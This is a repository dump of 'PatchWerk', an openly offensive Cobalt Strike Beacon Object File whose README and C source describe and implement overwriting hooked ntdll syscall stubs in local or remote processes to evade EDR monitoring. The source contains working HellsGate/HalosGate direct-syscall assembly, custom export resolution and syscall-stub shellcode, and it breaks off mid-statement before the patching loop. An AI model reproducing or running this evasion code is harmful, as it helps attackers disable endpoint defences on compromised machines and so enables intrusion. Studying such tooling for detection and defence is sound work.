├── LICENSE ├── Makefile ├── README.md ├── beacon.h ├── patchwerk.c ├── patchwerk.cna ├── patchwerk.png ├── patchwerk.x64.o ├── patchwerk2.png └── patchwerkPoc1.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Bobby Cooke 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := patchwerk 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | all: 5 | x86_64-w64-mingw32-gcc $(BOFNAME).c -c -o $(BOFNAME).x64.o -masm=intel 6 | clean: 7 | rm $(BOFNAME).x64.o 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PatchWerk 2 | _This is a PoC for cleaning NTDLL syscall stubs from 3 years ago. The idea was to patch the syscall hooks without opening a handle to ntdll. Project as is, have not tested recently._ 3 | 4 | -------------------- 5 | 6 | Cobalt Strike BOF that finds all the `Nt*` system call stubs within `NTDLL` and overwrites the memory with clean stubs (user land hook evasion). This way we can use the `NTAPI`s from our implant code, and if EDR check the call stack it will have originated from `NTDLL`. It’s pretty much the same as the original unhook by Raph Mudge, but this way there's no need to map `ntdll.dll` from disk or open handles to remote processes. 7 | + Uses `HellsGate` & `HalosGate` to call direct syscalls for `NtOpenProcess`, `NtWriteVirtualMemory`, and `NtProtectVirtualMemory`. 8 | + Has custom `GetModuleHandle` & `GetProcAddress` (`getSymbolAddress`) written in C and ASM to evade hooks on `kernel32`. 9 | + If patching table of current process, does not use `NtOpenProcess`. Just uses `hProc = (HANDLE)-1;` instead. 10 | 11 | ![](patchwerk.png) 12 | 13 | ## Usage 14 | ``` 15 | beacon> patchwerk 6115 16 | [*] Patchwerk (Bobby Cooke|@0xBoku|github.com/boku7} 17 | [+] host called home, sent 4937 18 | [+] received output: 19 | Patching NTDLL System Call Stubs in Process: 6115 (PID) 20 | ... 21 | ``` 22 | - Run `patchwerk` without the PID to patch current process 23 | 24 | ## Demo 25 | Running `patchwerk 311`, where `311` is the PID of a remote process, will patch ntdll of the remote process. 26 | ![](patchwerk2.png) 27 | ![](patchwerkPoc1.png) 28 | + I put the `01 02 03` at the end of the stubs just to show that it works 29 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /patchwerk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "beacon.h" 3 | 4 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 5 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 6 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 7 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t); 8 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t); 9 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 10 | 11 | // Takes in the address of a DLL in memory and returns the DLL's Export Directory Address 12 | //PVOID getExportDirectory(PVOID dllBase) 13 | __asm__( 14 | "getExportDirectory: \n" 15 | "mov r8, rcx \n" 16 | "mov ebx, [rcx+0x3C] \n" 17 | "add rbx, r8 \n" 18 | "xor rcx, rcx \n" 19 | "add cx, 0x88 \n" 20 | "mov eax, [rbx+rcx] \n" 21 | "add rax, r8 \n" 22 | "ret \n" // return ExportDirectory; 23 | ); 24 | // Return the address of the Export Address Table 25 | // PVOID getExportAddressTable(PVOID dllBase, PVOID ExportDirectory) 26 | // RCX RDX 27 | __asm__( 28 | "getExportAddressTable: \n" 29 | "xor rax, rax \n" 30 | "add rdx, 0x1C \n" // DWORD AddressOfFunctions; // 0x1C offset // RDX = &RVAExportAddressTable 31 | "mov eax, [rdx] \n" // RAX = RVAExportAddressTable (Value/RVA) 32 | "add rax, rcx \n" // RAX = VA ExportAddressTable (The address of the Export table in running memory of the process) 33 | "ret \n" // return ExportAddressTable 34 | ); 35 | // Return the address of the Export Name Table 36 | // PVOID getExportNameTable(PVOID dllBase, PVOID ExportDirectory) 37 | // RCX RDX 38 | __asm__( 39 | "getExportNameTable: \n" 40 | "xor rax, rax \n" 41 | "add rdx, 0x20 \n" // DWORD AddressOfFunctions; // 0x20 offset 42 | "mov eax, [rdx] \n" // RAX = RVAExportAddressOfNames (Value/RVA) 43 | "add rax, rcx \n" // RAX = VA ExportAddressOfNames 44 | "ret \n" // return ExportNameTable; 45 | ); 46 | // Return the address of the Export Ordinal Table 47 | // PVOID getExportOrdinalTable(PVOID dllBase, PVOID ExportDirectory) 48 | // RCX RDX 49 | __asm__( 50 | "getExportOrdinalTable: \n" 51 | "xor rax, rax \n" 52 | "add rdx, 0x24 \n" // DWORD AddressOfNameOrdinals; // 0x24 offset 53 | "mov eax, [rdx] \n" // RAX = RVAExportAddressOfNameOrdinals (Value/RVA) 54 | "add rax, rcx \n" // RAX = VA ExportAddressOfNameOrdinals 55 | "ret \n" // return ExportOrdinalTable; 56 | ); 57 | // PVOID getSymbolAddress(PVOID symbolString, PVOID symbolStringSize, PVOID dllBase, PVOID ExportAddressTable, PVOID ExportNameTable, PVOID ExportOrdinalTable) 58 | __asm__( 59 | "getSymbolAddress: \n" 60 | "mov r10, [RSP+0x28] \n" // ExportNameTable 61 | "mov r11, [RSP+0x30] \n" // ExportOrdinalTable 62 | "xchg rcx, rdx \n" // RCX = symbolStringSize & RDX =symbolString 63 | "push rcx \n" // push str len to stack 64 | "xor rax, rax \n" 65 | "loopFindSymbol: \n" 66 | "mov rcx, [rsp] \n" // RCX/[RSP] = DWORD symbolStringSize (Reset string length counter for each loop) 67 | "xor rdi, rdi \n" // Clear RDI for setting up string name retrieval 68 | "mov edi, [r10+rax*4] \n" // EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] 69 | "add rdi, r8 \n" // RDI = &NameString = RVA NameString + &module.dll 70 | "mov rsi, rdx \n" // RSI = Address of API Name String to match on the Stack (reset to start of string) 71 | "repe cmpsb \n" // Compare strings at RDI & RSI 72 | "je FoundSymbol \n" // If match then we found the API string. Now we need to find the Address of the API 73 | "inc rax \n" // Increment to check if the next name matches 74 | "jmp short loopFindSymbol \n" // Jump back to start of loop 75 | "FoundSymbol: \n" 76 | "pop rcx \n" // Remove string length counter from top of stack 77 | "mov ax, [r11+rax*2] \n" // RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of module. 78 | "mov eax, [r9+rax*4] \n" // RAX = RVA API = [&AddressTable + API OrdinalNumber] 79 | "add rax, r8 \n" // RAX = module. = RVA module. + module.dll BaseAddress 80 | "sub r11, rax \n" // See if our symbol address is greater than the OrdinalTable Address. If so its a forwarder to a different API 81 | "jns isNotForwarder \n" // If forwarder, result will be negative and Sign Flag is set (SF), jump not sign = jns 82 | "xor rax, rax \n" // If forwarder, return 0x0 and exit 83 | "isNotForwarder: \n" 84 | "ret \n" 85 | ); 86 | __asm__( 87 | "findSyscallNumber: \n" 88 | "xor rsi, rsi \n" 89 | "xor rdi, rdi \n" 90 | "mov rsi, 0x00B8D18B4C \n" 91 | "mov edi, [rcx] \n" 92 | "cmp rsi, rdi \n" 93 | "jne error \n" 94 | "xor rax,rax \n" 95 | "mov ax, [rcx+4] \n" 96 | "ret \n" 97 | ); 98 | __asm__( 99 | "error: \n" 100 | "xor rax, rax \n" 101 | "ret \n" 102 | ); 103 | __asm__( 104 | "halosGateUp: \n" 105 | "xor rsi, rsi \n" 106 | "xor rdi, rdi \n" 107 | "mov rsi, 0x00B8D18B4C \n" 108 | "xor rax, rax \n" 109 | "mov al, 0x20 \n" 110 | "mul dx \n" 111 | "add rcx, rax \n" 112 | "mov edi, [rcx] \n" 113 | "cmp rsi, rdi \n" 114 | "jne error \n" 115 | "xor rax,rax \n" 116 | "mov ax, [rcx+4] \n" 117 | "ret \n" 118 | ); 119 | __asm__( 120 | "halosGateDown: \n" 121 | "xor rsi, rsi \n" 122 | "xor rdi, rdi \n" 123 | "mov rsi, 0x00B8D18B4C \n" 124 | "xor rax, rax \n" 125 | "mov al, 0x20 \n" 126 | "mul dx \n" 127 | "sub rcx, rax \n" 128 | "mov edi, [rcx] \n" 129 | "cmp rsi, rdi \n" 130 | "jne error \n" 131 | "xor rax,rax \n" 132 | "mov ax, [rcx+4] \n" 133 | "ret \n" 134 | ); 135 | __asm__( 136 | "HellsGate: \n" 137 | "xor r11, r11 \n" 138 | "mov r11d, ecx \n" 139 | "ret \n" 140 | ); 141 | __asm__( 142 | "HellDescent: \n" 143 | "xor rax, rax \n" 144 | "mov r10, rcx \n" 145 | "mov eax, r11d \n" 146 | "syscall \n" 147 | "ret \n" 148 | ); 149 | 150 | // Windows Internals structs from ProcessHacker, Sektor7, and github 151 | typedef struct _PEB_LDR_DATA { 152 | ULONG Length; 153 | BOOL Initialized; 154 | LPVOID SsHandle; 155 | LIST_ENTRY InLoadOrderModuleList; 156 | LIST_ENTRY InMemoryOrderModuleList; 157 | LIST_ENTRY InInitializationOrderModuleList; 158 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 159 | 160 | typedef struct _PEB { 161 | BYTE InheritedAddressSpace; 162 | BYTE ReadImageFileExecOptions; 163 | BYTE BeingDebugged; 164 | BYTE _SYSTEM_DEPENDENT_01; 165 | LPVOID Mutant; 166 | LPVOID ImageBaseAddress; 167 | PPEB_LDR_DATA Ldr; 168 | } PEB, * PPEB; 169 | 170 | typedef struct _TEB 171 | { 172 | NT_TIB NtTib; 173 | LPVOID EnvironmentPointer; 174 | HANDLE ClientIdUniqueProcess; 175 | HANDLE ClientIdUniqueThread; 176 | LPVOID ActiveRpcHandle; 177 | LPVOID ThreadLocalStoragePointer; 178 | PPEB ProcessEnvironmentBlock; 179 | } TEB, * PTEB; 180 | 181 | typedef struct UNICODE_STRING 182 | { 183 | USHORT Length; 184 | USHORT MaximumLength; 185 | PWCH Buffer; 186 | }UNICODE_STRING2; 187 | 188 | typedef struct LDR_DATA_TABLE_ENTRY 189 | { 190 | LIST_ENTRY InLoadOrderLinks; 191 | LIST_ENTRY InMemoryOrderLinks; 192 | union 193 | { 194 | LIST_ENTRY InInitializationOrderLinks; 195 | LIST_ENTRY InProgressLinks; 196 | }; 197 | LPVOID DllBase; 198 | LPVOID EntryPoint; 199 | ULONG SizeOfImage; 200 | UNICODE_STRING2 FullDllName; 201 | UNICODE_STRING2 BaseDllName; 202 | }LDR_DATA_TABLE_ENTRY2, * PLDR_DATA_TABLE_ENTRY; 203 | 204 | typedef struct Export { 205 | LPVOID Directory; 206 | LPVOID AddressTable; 207 | LPVOID NameTable; 208 | LPVOID OrdinalTable; 209 | }Export; 210 | 211 | typedef struct Dll { 212 | HMODULE dllBase; 213 | Export Export; 214 | }Dll; 215 | 216 | // ASM Function Declaration 217 | LPVOID getExportDirectory(LPVOID dllAddr); 218 | LPVOID getExportAddressTable(LPVOID dllBase, LPVOID dllExportDirectory); 219 | LPVOID getExportNameTable(LPVOID dllBase, LPVOID dllExportDirectory); 220 | LPVOID getExportOrdinalTable(LPVOID dllBase, LPVOID dllExportDirectory); 221 | LPVOID getSymbolAddress(LPVOID symbolString, LPVOID symbolStringSize, LPVOID dllBase, LPVOID ExportAddressTable, LPVOID ExportNameTable, LPVOID ExportOrdinalTable); 222 | // // HellsGate / HalosGate 223 | VOID HellsGate(IN WORD wSystemCall); 224 | VOID HellDescent(); 225 | DWORD halosGateDown(IN PVOID ntdllApiAddr, IN WORD index); 226 | DWORD halosGateUp(IN PVOID ntdllApiAddr, IN WORD index); 227 | DWORD findSyscallNumber(IN PVOID ntdllApiAddr); 228 | 229 | // Define NT APIs 230 | //typedef BOOL (WINAPI * tWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); 231 | typedef BOOL(NTAPI* tNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PVOID); 232 | // NtWriteVirtualMemory(RCX:FFFFFFFFFFFFFFFF, RDX: 00007FFA4D2FF1A0 (Addr ntdll.EtwEventWrite), R9:0x1, R10:0x0) 233 | // https://github.com/jthuraisamy/SysWhispers/blob/523f5939ceb238070649d5c111e9733ae9e0940d/example-output/syscalls.h 234 | /*NTSTATUS NtWriteVirtualMemory( 235 | IN HANDLE ProcessHandle, 236 | IN PVOID BaseAddress, 237 | IN PVOID Buffer, 238 | IN ULONG NumberOfBytesToWrite, 239 | OUT PULONG NumberOfBytesWritten OPTIONAL);*/ 240 | typedef BOOL(NTAPI* tNtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG); 241 | // RCX RDX R8 R9 242 | // NtWriteVirtualMemory( 243 | // RCX: FFFFFFFFFFFFFFFF 244 | // RDX: 00000000005FFC70 -> 00 F0 2F 4D FA 7F 00 00 00 (00007FFA4D2FF000) 245 | // R8: 00000000005FFC78 -> 00 10 00 00 00 00 00 00 00 (0x1000) 246 | // R9: 0000000020000080 247 | // ) 248 | //typedef HANDLE (WINAPI * tOpenProcess)(DWORD, WINBOOL, DWORD); 249 | // https://github.com/n00bk1t/n00bk1t/blob/master/ntopenprocess.c 250 | // Structs for NtOpenProcess 251 | //typedef HANDLE (WINAPI * tOpenProcess)(DWORD, WINBOOL, DWORD); 252 | // https://github.com/n00bk1t/n00bk1t/blob/master/ntopenprocess.c 253 | // Structs for NtOpenProcess 254 | typedef struct _OBJECT_ATTRIBUTES 255 | { 256 | ULONG uLength; 257 | HANDLE hRootDirectory; 258 | PVOID pObjectName; 259 | ULONG uAttributes; 260 | PVOID pSecurityDescriptor; 261 | PVOID pSecurityQualityOfService; 262 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 263 | typedef struct _CLIENT_ID 264 | { 265 | HANDLE pid; 266 | HANDLE UniqueThread; 267 | } CLIENT_ID, * PCLIENT_ID; 268 | // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess 269 | /* NTSTATUS NtOpenProcess( 270 | IN PHANDLE ProcessHandle, 271 | IN ACCESS_MASK DesiredAccess, 272 | IN POBJECT_ATTRIBUTES ObjectAttributes, 273 | OUT PCLIENT_ID ClientId 274 | );*/ 275 | // RCX: 000000000014FDE8 // Just a 8 byte address to put a handle in 276 | // RDX: 00000000001FFFFF (PROCESS_ALL_ACCESS) 277 | // R8: 000000000014FD90 -> 0x30 278 | // R9: 000000000014FD80 -> 28A4h (process ID in Hex) 279 | typedef BOOL(NTAPI* tNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 280 | 281 | 282 | typedef struct ntapis { 283 | tNtWriteVirtualMemory NtWriteVirtualMemory; 284 | DWORD NtWriteVirtualMemorySyscall; 285 | tNtProtectVirtualMemory NtProtectVirtualMemory; 286 | DWORD NtProtectVirtualMemorySyscall; 287 | tNtOpenProcess NtOpenProcess; 288 | DWORD NtOpenProcessSyscall; 289 | }ntapis; 290 | 291 | PPEB getPEB() { 292 | PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock; 293 | return peb; 294 | }; 295 | 296 | LPVOID makeShellcode(unsigned char* shellcode, DWORD syscallNumber) { 297 | LPVOID scPosition = shellcode; 298 | // Shellcode Block 1 299 | unsigned __int64 scSize = 4; 300 | unsigned char scBlock1[] = 301 | "\x4C\x8B\xD1" // mov r10,rcx 302 | "\xB8"; //"\xD3\x01\x00\x00" // mov eax, 303 | MSVCRT$memcpy(scPosition, scBlock1, scSize); 304 | scPosition = (char*)scPosition + scSize; 305 | MSVCRT$memcpy(scPosition, &syscallNumber, sizeof(DWORD)); // write the syscall to the shellcode 306 | scPosition = (char*)scPosition + sizeof(DWORD); 307 | scSize = 24; 308 | unsigned char scBlock2[] = 309 | "\xF6\x04\x25\x08\x03\xFE\x7F\x01" // test byte ptr ds:[7FFE0308],1 310 | "\x75\x03" // jne ntdll.7FFB73FD07C5 311 | "\x0F\x05" // syscall 312 | "\xC3" // ret 313 | "\xCD\x2E" // int 2E 314 | "\xC3" // ret 315 | "\x0F\x1F\x84\x00\x00\x01\x02\x03"; // nop dword ptr ds:[rax+rax],eax 316 | MSVCRT$memcpy(scPosition, scBlock2, scSize); 317 | return shellcode; 318 | } 319 | 320 | void go(char * args, int len) { 321 | datap parser; 322 | SIZE_T pid; 323 | BeaconDataParse(&parser, args, len); 324 | pid = BeaconDataInt(&parser); 325 | HANDLE hProc = NULL; 326 | OBJECT_ATTRIBUTES oa={sizeof(oa),0,NULL,0}; 327 | CLIENT_ID cid; 328 | 329 | formatp stringFormatObject; // Cobalt Strike beacon format object we will pass strings too 330 | BeaconFormatAlloc(&stringFormatObject, 64 * 1024); // allocate memory for our string blob 331 | 332 | // unsigned __int64 pid = 5736; 333 | //cid.pid = (HANDLE)8968; 334 | cid.pid = NULL; 335 | cid.UniqueThread = NULL; 336 | cid.pid = (HANDLE)pid; 337 | BeaconFormatPrintf(&stringFormatObject,"[+] PID: %d)\n", pid); 338 | BeaconFormatPrintf(&stringFormatObject,"[+] PID: %p)\n", pid); 339 | BeaconFormatPrintf(&stringFormatObject,"[+] cid.pid: %d)\n", cid.pid); 340 | BeaconFormatPrintf(&stringFormatObject,"[+] cid.pid: %p)\n", cid.pid); 341 | //BeaconFormatPrintf(&stringFormatObject,"Patching NTDLL System Call Stubs in Process: %d (PID)", pid); 342 | // Get Base Address of ntdll.dll 343 | WCHAR* ws_ntdll = L"ntdll.dll"; 344 | Dll ntdll; 345 | unsigned __int64 qwSize = 0x100; 346 | LPVOID scBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, qwSize); 347 | MSVCRT$memset(scBuffer, 0x00, qwSize); 348 | // Modified method from Sektor7 Malware Dev Course - https://institute.sektor7.net/ 349 | //PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock; 350 | PPEB peb = getPEB(); 351 | PPEB_LDR_DATA ldr = peb->Ldr; 352 | LIST_ENTRY* ModuleList = NULL; 353 | ModuleList = &ldr->InMemoryOrderModuleList; 354 | LIST_ENTRY* pStartListEntry = ModuleList->Flink; 355 | 356 | for (LIST_ENTRY* pListEntry = pStartListEntry; // start from beginning of InMemoryOrderModuleList 357 | pListEntry != ModuleList; // walk all list entries 358 | pListEntry = pListEntry->Flink) { 359 | 360 | // get current Data Table Entry 361 | PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)((BYTE*)pListEntry - sizeof(LIST_ENTRY)); 362 | 363 | // Check if BaseDllName is ntdll and return DLL base address 364 | if (MSVCRT$strcmp((const char*)pEntry->BaseDllName.Buffer, (const char*)ws_ntdll) == 0) { 365 | ntdll.dllBase = (HMODULE)pEntry->DllBase; 366 | } 367 | } 368 | 369 | // Get Export Directory and Export Tables for ntdll.DLL 370 | ntdll.Export.Directory = getExportDirectory((LPVOID)ntdll.dllBase); 371 | ntdll.Export.AddressTable = getExportAddressTable((LPVOID)ntdll.dllBase, ntdll.Export.Directory); 372 | ntdll.Export.NameTable = getExportNameTable((LPVOID)ntdll.dllBase, ntdll.Export.Directory); 373 | ntdll.Export.OrdinalTable = getExportOrdinalTable((LPVOID)ntdll.dllBase, ntdll.Export.Directory); 374 | //BeaconPrintf(CALLBACK_OUTPUT,"ntdll.Export.Directory : %p\n", ntdll.Export.Directory); 375 | //BeaconPrintf(CALLBACK_OUTPUT,"ntdll.Export.AddressTable : %p\n", ntdll.Export.AddressTable); 376 | //BeaconPrintf(CALLBACK_OUTPUT,"ntdll.Export.NameTable : %p\n", ntdll.Export.NameTable); 377 | //BeaconPrintf(CALLBACK_OUTPUT,"ntdll.Export.OrdinalTable : %p\n", ntdll.Export.OrdinalTable); 378 | CHAR* ptrNumberOfFunctions = (CHAR*)ntdll.Export.Directory + 0x14; 379 | PDWORD numberOfFunctions = (PDWORD)ptrNumberOfFunctions; 380 | //BeaconPrintf(CALLBACK_OUTPUT,"&ntdll.numberOfFunctions : %p\n", ptrNumberOfFunctions); 381 | //BeaconPrintf(CALLBACK_OUTPUT,"ntdll.numberOfFunctions : %d\n", *numberOfFunctions); 382 | // Discover the syscalls for NtProtectVirtualMemory, NtWriteVirtualMemory, 383 | ntapis nt; 384 | // ntdll.NtProtectVirtualMemory 385 | CHAR NtProtectVirtualMemoryStr[] = { 'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0 }; 386 | nt.NtProtectVirtualMemory = getSymbolAddress(NtProtectVirtualMemoryStr, (PVOID)22, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 387 | // HalosGate/HellsGate to get the systemcall number for NtProtectVirtualMemory 388 | //__debugbreak(); 389 | nt.NtProtectVirtualMemorySyscall = findSyscallNumber(nt.NtProtectVirtualMemory); 390 | if (nt.NtProtectVirtualMemorySyscall == 0) { 391 | DWORD index = 0; 392 | while (nt.NtProtectVirtualMemorySyscall == 0) { 393 | index++; 394 | // Check for unhooked Sycall Above the target stub 395 | nt.NtProtectVirtualMemorySyscall = halosGateUp(nt.NtProtectVirtualMemory, index); 396 | if (nt.NtProtectVirtualMemorySyscall) { 397 | nt.NtProtectVirtualMemorySyscall = nt.NtProtectVirtualMemorySyscall - index; 398 | break; 399 | } 400 | // Check for unhooked Sycall Below the target stub 401 | nt.NtProtectVirtualMemorySyscall = halosGateDown(nt.NtProtectVirtualMemory, index); 402 | if (nt.NtProtectVirtualMemorySyscall) { 403 | nt.NtProtectVirtualMemorySyscall = nt.NtProtectVirtualMemorySyscall + index; 404 | break; 405 | } 406 | } 407 | } 408 | BeaconFormatPrintf(&stringFormatObject,"[+] ntdll.NtProtectVirtualMemory Address: %p\n[+] ntdll.NtProtectVirtualMemory Syscall: %d | 0x%x\n",nt.NtProtectVirtualMemory, nt.NtProtectVirtualMemorySyscall, nt.NtProtectVirtualMemorySyscall); 409 | // ntdll.NtWriteVirtualMemory 410 | // NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL); 411 | // bobby.cooke$ python3 string2Array.py NtWriteVirtualMemoryStr NtWriteVirtualMemory 412 | CHAR NtWriteVirtualMemoryStr[] = { 'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 }; 413 | nt.NtWriteVirtualMemory = getSymbolAddress(NtWriteVirtualMemoryStr, (PVOID)20, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 414 | nt.NtWriteVirtualMemorySyscall = findSyscallNumber(nt.NtWriteVirtualMemory); 415 | if (nt.NtWriteVirtualMemorySyscall == 0) { 416 | DWORD index = 0; 417 | while (nt.NtWriteVirtualMemorySyscall == 0) { 418 | index++; 419 | // Check for unhooked Sycall Above the target stub 420 | nt.NtWriteVirtualMemorySyscall = halosGateUp(nt.NtWriteVirtualMemory, index); 421 | if (nt.NtWriteVirtualMemorySyscall) { 422 | nt.NtWriteVirtualMemorySyscall = nt.NtWriteVirtualMemorySyscall - index; 423 | break; 424 | } 425 | // Check for unhooked Sycall Below the target stub 426 | nt.NtWriteVirtualMemorySyscall = halosGateDown(nt.NtWriteVirtualMemory, index); 427 | if (nt.NtWriteVirtualMemorySyscall) { 428 | nt.NtWriteVirtualMemorySyscall = nt.NtWriteVirtualMemorySyscall + index; 429 | break; 430 | } 431 | } 432 | } 433 | BeaconFormatPrintf(&stringFormatObject,"[+] ntdll.NtWriteVirtualMemory Address: %p\n[+] ntdll.NtWriteVirtualMemory Syscall: %d | 0x%x\n",nt.NtWriteVirtualMemory, nt.NtWriteVirtualMemorySyscall, nt.NtWriteVirtualMemorySyscall); 434 | // ntdll.NtOpenProcess 435 | CHAR NtOpenProcessStr[] = { 'N','t','O','p','e','n','P','r','o','c','e','s','s',0 }; 436 | nt.NtOpenProcess = getSymbolAddress(NtOpenProcessStr, (PVOID)13, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 437 | nt.NtOpenProcessSyscall = findSyscallNumber(nt.NtOpenProcess); 438 | if (nt.NtOpenProcessSyscall == 0) { 439 | DWORD index = 0; 440 | while (nt.NtOpenProcessSyscall == 0) { 441 | index++; 442 | // Check for unhooked Sycall Above the target stub 443 | nt.NtOpenProcessSyscall = halosGateUp(nt.NtOpenProcess, index); 444 | if (nt.NtOpenProcessSyscall) { 445 | nt.NtOpenProcessSyscall = nt.NtOpenProcessSyscall - index; 446 | break; 447 | } 448 | // Check for unhooked Sycall Below the target stub 449 | nt.NtOpenProcessSyscall = halosGateDown(nt.NtOpenProcess, index); 450 | if (nt.NtOpenProcessSyscall) { 451 | nt.NtOpenProcessSyscall = nt.NtOpenProcessSyscall + index; 452 | break; 453 | } 454 | } 455 | } 456 | BeaconFormatPrintf(&stringFormatObject,"[+] ntdll.NtOpenProcess Address: %p\n[+] ntdll.NtOpenProcess Syscall: %d | 0x%x\n", nt.NtOpenProcess, nt.NtOpenProcessSyscall, nt.NtOpenProcessSyscall); 457 | // Get the address of the first syscall. Each syscall stub is 0x20 bytes. 458 | // &ntdll.NtOpenProcess - (NtOpenProcessSyscallNumber * 0x20) = Address of first ntdll syscall stub 459 | // cast the NtOpenProcess address as a pointer to a char so we can do subtraction by 1's 460 | unsigned char* firstSyscallAddress = (unsigned char*)nt.NtOpenProcess; 461 | DWORD ntdllStubSize = 0x20; 462 | DWORD offsetFirstStub = ntdllStubSize * nt.NtOpenProcessSyscall; 463 | firstSyscallAddress -= offsetFirstStub; 464 | BeaconFormatPrintf(&stringFormatObject,"[+] 